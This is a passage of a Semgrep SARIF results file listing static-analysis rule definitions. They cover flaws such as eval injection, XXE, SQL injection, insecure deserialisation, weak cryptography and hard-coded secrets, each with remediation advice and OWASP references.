in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute remote code. See https://owasp.org/www-community/attacks/Code_Injection for more information."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.user-eval-format-string.user-eval-format-string","id":"python.django.security.injection.code.user-eval-format-string.user-eval-format-string","name":"python.django.security.injection.code.user-eval-format-string.user-eval-format-string","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.user-eval-format-string.user-eval-format-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"$METHOD is a state-changing MVC method that does not validate the antiforgery token or do strict content-type checking. State-changing controller methods should either enforce antiforgery tokens or do strict content-type checking to prevent simple HTTP request types from bypassing CORS preflight controls."},"help":{"markdown":"$METHOD is a state-changing MVC method that does not validate the antiforgery token or do strict content-type checking. State-changing controller methods should either enforce antiforgery tokens or do strict content-type checking to prevent simple HTTP request types from bypassing CORS preflight controls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery)\n - [https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html#cross-site-request-forgery](https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html#cross-site-request-forgery)\n - [https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)\n","text":"$METHOD is a state-changing MVC method that does not validate the antiforgery token or do strict content-type checking. State-changing controller methods should either enforce antiforgery tokens or do strict content-type checking to prevent simple HTTP request types from bypassing CORS preflight controls."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery","id":"csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery","name":"csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.mvc-missing-antiforgery.mvc-missing-antiforgery"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint","id":"go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint","name":"go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.xxe.gorilla-libxml2-xxe-taint.libxml2-xxe-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Add \"encryption: $Y.BucketEncryption.KMS_MANAGED\" or \"encryption: $Y.BucketEncryption.S3_MANAGED\" to the bucket props for Bucket construct $X"},"help":{"markdown":"Add \"encryption: $Y.BucketEncryption.KMS_MANAGED\" or \"encryption: $Y.BucketEncryption.S3_MANAGED\" to the bucket props for Bucket construct $X\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html)\n","text":"Add \"encryption: $Y.BucketEncryption.KMS_MANAGED\" or \"encryption: $Y.BucketEncryption.S3_MANAGED\" to the bucket props for Bucket construct $X"},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption","id":"typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption","name":"typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.audit.awscdk-bucket-encryption.awscdk-bucket-encryption"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Onfido live API Token detected"},"help":{"markdown":"Onfido live API Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token)\n - [https://documentation.onfido.com/api/latest/#api-tokens](https://documentation.onfido.com/api/latest/#api-tokens)\n","text":"Onfido live API Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token","id":"generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token","name":"generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-onfido-live-api-token.detected-onfido-live-api-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XMLDecoder should not be used to parse untrusted data. Deserializing user input can lead to arbitrary code execution. Use an alternative and explicitly disable external entities. See https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html for alternatives and vulnerability prevention."},"help":{"markdown":"XMLDecoder should not be used to parse untrusted data. Deserializing user input can lead to arbitrary code execution. Use an alternative and explicitly disable external entities. See https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html for alternatives and vulnerability prevention.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xml-decoder.xml-decoder)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n","text":"XMLDecoder should not be used to parse untrusted data. Deserializing user input can lead to arbitrary code execution. Use an alternative and explicitly disable external entities. See https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html for alternatives and vulnerability prevention."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xml-decoder.xml-decoder","id":"java.lang.security.audit.xml-decoder.xml-decoder","name":"java.lang.security.audit.xml-decoder.xml-decoder","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xml-decoder.xml-decoder"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the insecure DES/3DES encryption algorithm(s) were detected. DES is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly."},"help":{"markdown":"The use of the insecure DES/3DES encryption algorithm(s) were detected. DES is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the insecure DES/3DES encryption algorithm(s) were detected. DES is deprecated and considered insecure. The application should leverage more suitable algorithms such as AES in GCM mode, or ChaChaPoly."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des","id":"swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des","name":"swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-algorithm-des.insecure-crypto-algorithm-des"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.jpa-sqli.jpa-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.jpa-sqli.jpa-sqli","id":"java.spring.security.jpa-sqli.jpa-sqli","name":"java.spring.security.jpa-sqli.jpa-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.jpa-sqli.jpa-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an AWS Redshift configuration with a SSL disabled. To fix this, set your `require_ssl` to `\"true\"`."},"help":{"markdown":"Detected an AWS Redshift configuration with a SSL disabled. To fix this, set your `require_ssl` to `\"true\"`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected an AWS Redshift configuration with a SSL disabled. To fix this, set your `require_ssl` to `\"true\"`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration","id":"terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration","name":"terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-insecure-redshift-ssl-configuration.aws-insecure-redshift-ssl-configuration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","id":"javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","name":"javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.headers.hardcoded-bearer-token.hardcoded-bearer-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html](https://pandas.pydata.org/docs/reference/api/pandas.read_hdf.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda","id":"python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda","name":"python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-pandas-hdf-aws-lambda.tainted-pandas-hdf-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for redefinitions of functions that check TLS/SSL certificate verification. This can lead to vulnerabilities, as simple errors in the code can result in lack of proper certificate validation. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"help":{"markdown":"Checks for redefinitions of functions that check TLS/SSL certificate verification. This can lead to vulnerabilities, as simple errors in the code can result in lack of proper certificate validation. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification)\n - [https://stackoverflow.com/questions/4072585/disabling-ssl-certificate-validation-in-spring-resttemplate](https://stackoverflow.com/questions/4072585/disabling-ssl-certificate-validation-in-spring-resttemplate)\n - [https://stackoverflow.com/questions/35530558/how-to-fix-unsafe-implementation-of-x509trustmanager-in-android-app?rq=1](https://stackoverflow.com/questions/35530558/how-to-fix-unsafe-implementation-of-x509trustmanager-in-android-app?rq=1)\n","text":"Checks for redefinitions of functions that check TLS/SSL certificate verification. This can lead to vulnerabilities, as simple errors in the code can result in lack of proper certificate validation. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification","id":"problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification","name":"problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-spring.bypass-tls-verification.bypass-tls-verification"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Mako templates do not provide a global HTML escaping mechanism. This means you must escape all sensitive data in your templates using '| u' for URL escaping or '| h' for HTML escaping. If you are using Mako to serve web content, consider using a system such as Jinja2 which enables global escaping."},"help":{"markdown":"Mako templates do not provide a global HTML escaping mechanism. This means you must escape all sensitive data in your templates using '| u' for URL escaping or '| h' for HTML escaping. If you are using Mako to serve web content, consider using a system such as Jinja2 which enables global escaping.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.mako-templates-detected.mako-templates-detected)\n - [https://docs.makotemplates.org/en/latest/syntax.html#expression-escaping](https://docs.makotemplates.org/en/latest/syntax.html#expression-escaping)\n - [https://jinja.palletsprojects.com/en/2.11.x/intro/#](https://jinja.palletsprojects.com/en/2.11.x/intro/#)\n","text":"Mako templates do not provide a global HTML escaping mechanism. This means you must escape all sensitive data in your templates using '| u' for URL escaping or '| h' for HTML escaping. If you are using Mako to serve web content, consider using a system such as Jinja2 which enables global escaping."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.mako-templates-detected.mako-templates-detected","id":"python.lang.security.audit.mako-templates-detected.mako-templates-detected","name":"python.lang.security.audit.mako-templates-detected.mako-templates-detected","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.mako-templates-detected.mako-templates-detected"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In FastAPI apps, consider using the Starlette `:path` annotation in the route declaration to automatically sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi","id":"python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi","name":"python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.file.tainted-path-traversal-openpyxl-fastapi.tainted-path-traversal-openpyxl-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The return value of `$VAR.$NPOS_CALL(...)` has been modified so it can never equal `std::string::npos`. This could lead to an `std::out_of_range` exception being thrown or trigger an out-of-bounds read if the position is used as an array index."},"help":{"markdown":"The return value of `$VAR.$NPOS_CALL(...)` has been modified so it can never equal `std::string::npos`. This could lead to an `std::out_of_range` exception being thrown or trigger an out-of-bounds read if the position is used as an array index.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.std-string-npos.std-string-npos)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/CTR55-CPP.+Do+not+use+an+additive+operator+on+an+iterator+if+the+result+would+overflow](https://wiki.sei.cmu.edu/confluence/display/cplusplus/CTR55-CPP.+Do+not+use+an+additive+operator+on+an+iterator+if+the+result+would+overflow)\n","text":"The return value of `$VAR.$NPOS_CALL(...)` has been modified so it can never equal `std::string::npos`. This could lead to an `std::out_of_range` exception being thrown or trigger an out-of-bounds read if the position is used as an array index."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.std-string-npos.std-string-npos","id":"cpp.lang.security.strings.std-string-npos.std-string-npos","name":"cpp.lang.security.strings.std-string-npos.std-string-npos","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.std-string-npos.std-string-npos"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'."},"help":{"markdown":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.nan-injection.nan-injection)\n - [https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868](https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868)\n - [https://blog.bitdiscovery.com/2021/12/python-nan-injection/](https://blog.bitdiscovery.com/2021/12/python-nan-injection/)\n","text":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'."},"helpUri":"https://semgrep.dev/r/python.django.security.nan-injection.nan-injection","id":"python.django.security.nan-injection.nan-injection","name":"python.django.security.nan-injection.nan-injection","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.nan-injection.nan-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a psycopg2 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements by creating a 'sql.SQL' string. You can also use the pyformat binding style to create parameterized queries. For example: 'cur.execute(SELECT * FROM table WHERE name=%s, user_input)'"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a psycopg2 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements by creating a 'sql.SQL' string. You can also use the pyformat binding style to create parameterized queries. For example: 'cur.execute(SELECT * FROM table WHERE name=%s, user_input)'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli)\n - [https://www.psycopg.org/docs/sql.html](https://www.psycopg.org/docs/sql.html)\n","text":"Detected string concatenation with a non-literal variable in a psycopg2 Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements by creating a 'sql.SQL' string. You can also use the pyformat binding style to create parameterized queries. For example: 'cur.execute(SELECT * FROM table WHERE name=%s, user_input)'"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli","id":"python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli","name":"python.lang.security.audit.sqli.psycopg-sqli.psycopg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - 